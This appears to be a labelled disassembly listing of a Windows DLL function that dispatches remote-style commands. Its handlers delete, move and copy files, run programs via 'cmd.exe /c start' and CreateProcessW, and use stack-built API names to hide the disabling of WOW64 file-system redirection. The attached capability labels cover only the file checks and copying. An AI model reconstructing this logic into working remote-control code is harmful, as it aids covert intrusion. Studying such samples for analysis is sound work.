Function at 0x10007340
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1002f622
mov eax, dword fs:[0]
push eax
sub esp, 0x3c0
mov eax, dword [0x10038654]
xor eax, esp
mov dword [esp + 0x3b8], eax
push ebx
push esi
push edi
mov eax, dword [0x10038654]
xor eax, esp
push eax
lea eax, [esp + 0x3d0]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0xc9
mov esi, dword [ebp + 0xc]
mov edi, ecx
mov dword [esp + 0x20], edi
mov dword [esp + 0x18], esi
je 0x100078d5
call fcn.100012a0
xor eax, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], eax
cmp dword [edi + 0x28], eax
je 0x10006f69
mov byte [esp + 0x198], al
mov byte [esp + 0x1ba], al
lea eax, [esp + 0x18c]
push eax
mov dword [esp + 0x190], 0x4e52454b
mov dword [esp + 0x194], 0x32334c45
mov dword [esp + 0x198], 0x6c6c642e
mov dword [esp + 0x1a0], 0x36776f57
mov dword [esp + 0x1a4], 0x73694434
mov dword [esp + 0x1a8], 0x656c6261
mov dword [esp + 0x1ac], 0x36776f57
mov dword [esp + 0x1b0], 0x52734634
mov dword [esp + 0x1b4], 0x72696465
mov dword [esp + 0x1b8], 0x69746365
mov word [esp + 0x1bc], 0x6e6f
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10006f4b
lea ecx, [esp + 0x18c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10006f69
lea edx, [esp + 0x19c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10006f69
lea ecx, [esp + 0x28]
push ecx
call eax
mov dword [esp + 0x24], eax
movzx edx, byte [ebx]
push edx
call fcn.100012a0
movzx eax, byte [ebx]
add esp, 4
cmp eax, 0x1e
ja case.0x10006f81.14
jmp dword [eax*4 + 0x100078fc]
lea ecx, [ebx + 1]
push edi
call fcn.10008030
jmp case.0x10006f81.14
inc ebx
cmp byte [edi + 0x248], 0
push ebx
je 0x10006fb4
call fcn.10009950
push 0x31
mov ecx, edi
call fcn.10008680
jmp case.0x10006f81.14
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x31
mov ecx, edi
call fcn.10008680
jmp case.0x10006f81.14
inc ebx
push ebx
mov ecx, edi
call fcn.10008280
push 0x31
mov ecx, edi
call fcn.10008680
jmp case.0x10006f81.14
lea ecx, [ebx + 1]
mov esi, edi
call fcn.100086a0
jmp case.0x10006f81.14
lea esi, [ebx + 1]
mov eax, edi
call fcn.10008540
jmp case.0x10006f81.14
lea ecx, [ebx + 1]
call fcn.10007a00
cmp dword [edi + 8], 0
mov byte [esp + 0x14], 0x2e
jne case.0x10006f81.14
mov edi, dword [edi + 4]
mov eax, dword [edi]
mov edx, dword [eax + 8]
push 1
lea ecx, [esp + 0x18]
push ecx
mov ecx, edi
call edx
jmp case.0x10006f81.14
inc ebx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebx + eax*2 + 2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
cmp dword [edi + 8], 0
mov byte [esp + 0x14], 0x2f
jne case.0x10006f81.14
mov edi, dword [edi + 4]
mov eax, dword [edi]
mov edx, dword [eax + 8]
push 1
lea ecx, [esp + 0x18]
push ecx
mov ecx, edi
call edx
jmp case.0x10006f81.14
movzx eax, byte [ebx + 1]
push eax
mov esi, edi
call fcn.10008a70
jmp case.0x10006f81.14
mov ecx, dword [ebx + 1]
mov esi, edi
mov dword [edi + 0x2c], ecx
call fcn.10008bb0
jmp case.0x10006f81.14
inc ebx
push ebx
mov ecx, edi
call fcn.10008ae0
jmp case.0x10006f81.14
dec esi
push esi
lea ecx, [ebx + 1]
mov esi, edi
call fcn.10008ce0
jmp case.0x10006f81.14
push 5
push 0
push 0
add ebx, 2
push ebx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp case.0x10006f81.14
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x1c6]
push eax
mov word [esp + 0x1c8], dx
call fcn.1001caf0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
push str.cmd.exe__c_start
lea ecx, [esp + 0x1c0]
push ecx
call esi
add ebx, 2
push ebx
lea edx, [esp + 0x1c0]
push edx
call esi
push 0x40
lea eax, [esp + 0x34]
push 0
push eax
call fcn.1001caf0
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x30]
push edx
push eax
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x13c], eax
mov dword [esp + 0x140], eax
mov dword [esp + 0x144], eax
lea eax, [esp + 0x1dc]
push eax
add edi, 0x66c
push 0
mov dword [esp + 0x54], 0x44
mov dword [esp + 0x5c], edi
mov dword [esp + 0x140], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp case.0x10006f81.14
inc ebx
push ebx
mov esi, edi
call fcn.10008d80
jmp case.0x10006f81.14
cmp dword [edi + 0x254], 1
je 0x100078d5
lea eax, [ebx + 1]
push edi
call fcn.10009160
jmp case.0x10006f81.14
mov esi, edi
call fcn.10009120
push 0x20
mov ecx, edi
call fcn.10008680
jmp case.0x10006f81.14
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call fcn.100093a0
jmp case.0x10006f81.14
push 0
push 8
lea ecx, [esp + 0x1c4]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [esp + 0x1bc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 3]
push ebx
call fcn.1001721c
add esp, 4
push ebx
mov esi, eax
push 0
push esi
call fcn.1001caf0
add esp, 0xc
lea eax, [esp + 0x1bc]
push eax
mov byte [esi], 0x36
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea ecx, [esp + 0x1c0]
push ecx
lea edx, [esi + 1]
push edx
call fcn.1001add0
add esp, 0xc
push esi
mov edx, ebx
mov ecx, edi
call fcn.10002bf0
push esi
call fcn.10018bf7
add esp, 4
jmp case.0x10006f81.14
push 0x208
call fcn.1001721c
add esp, 4
mov esi, eax
inc ebx
push ebx
mov dword [esi], 0
call fcn.10009300
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 3]
push eax
mov dword [esp + 0x20], eax
call fcn.1001721c
mov ebx, eax
mov eax, dword [esp + 0x20]
add esp, 4
push eax
push 0
push ebx
call fcn.1001caf0
add esp, 0xc
push esi
mov byte [ebx], 0x37
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea ecx, [ebx + 1]
push esi
push ecx
call fcn.1001add0
mov edx, dword [esp + 0x28]
add esp, 0xc
push ebx
mov ecx, edi
call fcn.10002bf0
test esi, esi
je 0x100072bf
push esi
call fcn.10018bf7
add esp, 4
push ebx
call fcn.10018bf7
add esp, 4
jmp case.0x10006f81.14
lea esi, [ebx + 1]
call fcn.10009630
push 0x38
mov ecx, edi
call fcn.10008680
jmp case.0x10006f81.14
lea esi, [ebx + 1]
call fcn.100097c0
push 0x38
mov ecx, edi
call fcn.10008680
jmp case.0x10006f81.14
cmp esi, 2
jb 0x100078d5
mov eax, dword [edi + 0x24c]
test eax, eax
je 0x1000731f
push eax
call fcn.10018bf7
add esp, 4
mov dword [edi + 0x24c], 0
dec esi
push esi
call fcn.1001721c
add esp, 4
push esi
inc ebx
push ebx
push eax
mov dword [edi + 0x24c], eax
call fcn.1001add0
add esp, 0xc
jmp case.0x10006f81.14
cmp esi, 0x1fe
ja 0x100078d5
cmp dword [edi + 0x24c], 0
je 0x100078d5
push 0x410
call fcn.1001721c
add esp, 4
push 0x410
mov esi, eax
push 0
push esi
mov dword [esp + 0x28], esi
call fcn.1001caf0
mov edx, dword [esp + 0x24]
add esp, 0xc
dec edx
push edx
inc ebx
push ebx
push esi
call fcn.1001add0
mov eax, dword [edi + 0x24c]
add esp, 0xc
lea esi, [esp + 0x19c]
call fcn.1000b840
lea eax, [esp + 0x19c]
push eax
lea ecx, [esp + 0x78]
xor esi, esi
push ecx
mov dword [esp + 0x3e0], esi
call fcn.1000ba00
xor edx, edx
mov dword [esp + 0x148], 7
mov dword [esp + 0x144], esi
mov word [esp + 0x134], dx
push 0x410
mov byte [esp + 0x3dc], 2
call fcn.1001721c
mov ebx, eax
add esp, 4
lea eax, [esp + 0x134]
push eax
lea ecx, [esp + 0x78]
push ecx
call fcn.1000d210
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
and al, 6
movsx edx, al
add esp, 8
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x10007681
push 0
lea edi, [esp + 0x138]
call fcn.1000c3a0
cmp dword [esp + 0x148], 8
jb 0x10007444
mov eax, dword [esp + 0x134]
mov dword [esp + 0x18], eax
jmp 0x1000744f
lea ecx, [esp + 0x134]
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x18]
lea esi, [esp + 0x150]
call fcn.1000b840
mov edx, esi
push edx
mov edx, 0x10033c94
mov byte [esp + 0x3dc], 3
call fcn.1000b930
mov esi, eax
cmp esi, 0xffffffff
je 0x10007635
push 0x410
push 0
push ebx
call fcn.1001caf0
mov eax, dword [esp + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0xc
push eax
call edi
mov ecx, dword [esp + 0x1c]
add eax, eax
push eax
push ecx
push ebx
call fcn.1001add0
mov edx, dword [esp + 0x24]
add esp, 0xc
push edx
call edi
mov edx, dword [esp + 0x1c]
sub eax, esi
add eax, eax
push eax
mov eax, dword [esp + 0x1c]
lea ecx, [eax + esi*2 + 2]
push ecx
push edx
call edi
lea eax, [ebx + eax*2]
push eax
call fcn.1001add0
add esp, 0xc
mov eax, ebx
lea esi, [esp + 0x118]
call fcn.1000b840
push 0
mov edi, esi
mov byte [esp + 0x3dc], 4
call fcn.1000c3a0
mov esi, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
test al, 0x10
je 0x100075fc
push ebx
call edi
cmp eax, 0xffffffff
je 0x1000755c
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
push ebx
push 0x10033c98
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, ebx
add esp, 0x10
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10007530
sub eax, edx
sar eax, 1
push eax
mov eax, ebx
lea ecx, [esp + 0x11c]
call fcn.1000c790
push 0
lea edi, [esp + 0x11c]
call fcn.1000c3a0
xor eax, eax
cmp dword [esp + 0x12c], 8
mov ecx, 0x60c
mov dword [esp + 0x170], eax
mov dword [esp + 0x174], eax
mov dword [esp + 0x17c], eax
mov dword [esp + 0x16c], eax
mov dword [esp + 0x178], eax
mov dword [esp + 0x180], eax
mov dword [esp + 0x184], eax
mov word [esp + 0x188], ax
mov word [esp + 0x17c], cx
mov dword [esp + 0x170], 2
mov dword [esp + 0x174], esi
jb 0x100075de
mov edx, dword [esp + 0x118]
lea ecx, [esp + 0x16c]
push ecx
mov dword [esp + 0x17c], edx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
jmp 0x10007629
lea ecx, [esp + 0x16c]
lea eax, [esp + 0x118]
push ecx
mov dword [esp + 0x17c], eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
jmp 0x10007629
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
push ebx
push esi
call edi
test eax, eax
jne 0x10007629
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
push ebx
push 0x10033c98
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push ebx
push esi
call edi
lea esi, [esp + 0x118]
call fcn.1000b880
lea esi, [esp + 0x150]
mov byte [esp + 0x3d8], 2
call fcn.1000b880
lea edx, [esp + 0x134]
push edx
lea eax, [esp + 0x78]
push eax
call fcn.1000d210
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov edx, dword [ecx + eax + 0xc]
add ecx, eax
and dl, 6
movsx eax, dl
add esp, 8
neg eax
sbb eax, eax
not eax
test ecx, eax
jne 0x1000741f
mov edi, dword [esp + 0x20]
test ebx, ebx
je 0x1000768e
push ebx
call fcn.10018bf7
add esp, 4
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x1000769f
push eax
call fcn.10018bf7
add esp, 4
push 0x38
mov ecx, edi
call fcn.10008680
lea esi, [esp + 0x134]
call fcn.1000b880
lea ecx, [esp + 0x74]
mov byte [esp + 0x3d8], 0
call fcn.10007980
lea esi, [esp + 0x19c]
mov dword [esp + 0x3d8], 0xffffffff
call fcn.1000b880
jmp case.0x10006f81.14
cmp dword [edi + 0x880], 1
je 0x100078d5
cmp esi, 1
jbe case.0x10006f81.14
xor ecx, ecx
lea eax, [esi - 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1001721c
add esp, 4
push esi
inc ebx
push ebx
push eax
mov dword [edi + 0x878], eax
call fcn.1001add0
add esp, 0xc
push 0
push 0
push edi
push 0x10009ad0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x87c], eax
jmp case.0x10006f81.14
mov esi, edi
call fcn.1000a280
jmp case.0x10006f81.14
mov byte [edi + 0x248], 1
jmp case.0x10006f81.14
mov byte [edi + 0x248], 0
jmp case.0x10006f81.14
inc ebx
mov eax, ebx
lea esi, [esp + 0x150]
call fcn.1000b840
mov eax, esi
push eax
mov edx, 0x10033ca4
mov dword [esp + 0x3dc], 5
call fcn.1000b930
mov esi, eax
cmp esi, 0xffffffff
jne 0x100077a7
lea esi, [esp + 0x150]
call fcn.1000b880
jmp 0x100078d5
push 0x410
call fcn.1001721c
add esp, 4
push ebx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, esi
add eax, eax
push eax
lea ecx, [ebx + esi*2 + 2]
mov esi, dword [esp + 0x24]
push ecx
push esi
call fcn.1001add0
add esp, 0xc
push ebx
push edi
call fcn.1000a730
test esi, esi
je 0x100077ea
push esi
call fcn.10018bf7
add esp, 4
lea esi, [esp + 0x150]
mov dword [esp + 0x3d8], 0xffffffff
call fcn.1000b880
jmp case.0x10006f81.14
lea ecx, [ebx + 1]
push edi
call fcn.1000ad30
cmp dword [esp + 0x24], 0
je 0x100078d5
lea edx, [esp + 0x118]
push edx
mov dword [esp + 0x11c], 0x4e52454b
mov dword [esp + 0x120], 0x32334c45
mov dword [esp + 0x124], 0x6c6c642e
mov byte [esp + 0x128], 0
mov dword [esp + 0x170], 0x36776f57
mov dword [esp + 0x174], 0x76655234
mov dword [esp + 0x178], 0x57747265
mov dword [esp + 0x17c], 0x3436776f
mov dword [esp + 0x180], 0x65527346
mov dword [esp + 0x184], 0x65726964
mov dword [esp + 0x188], 0x6f697463
mov word [esp + 0x18c], 0x6e
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x100078bb
lea eax, [esp + 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100078d5
lea ecx, [esp + 0x16c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100078d5
mov edx, dword [esp + 0x28]
push edx
call eax
mov ecx, dword [esp + 0x3d0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3b8]
xor ecx, esp
call fcn.100180fb
mov esp, ebp
pop ebp
ret 8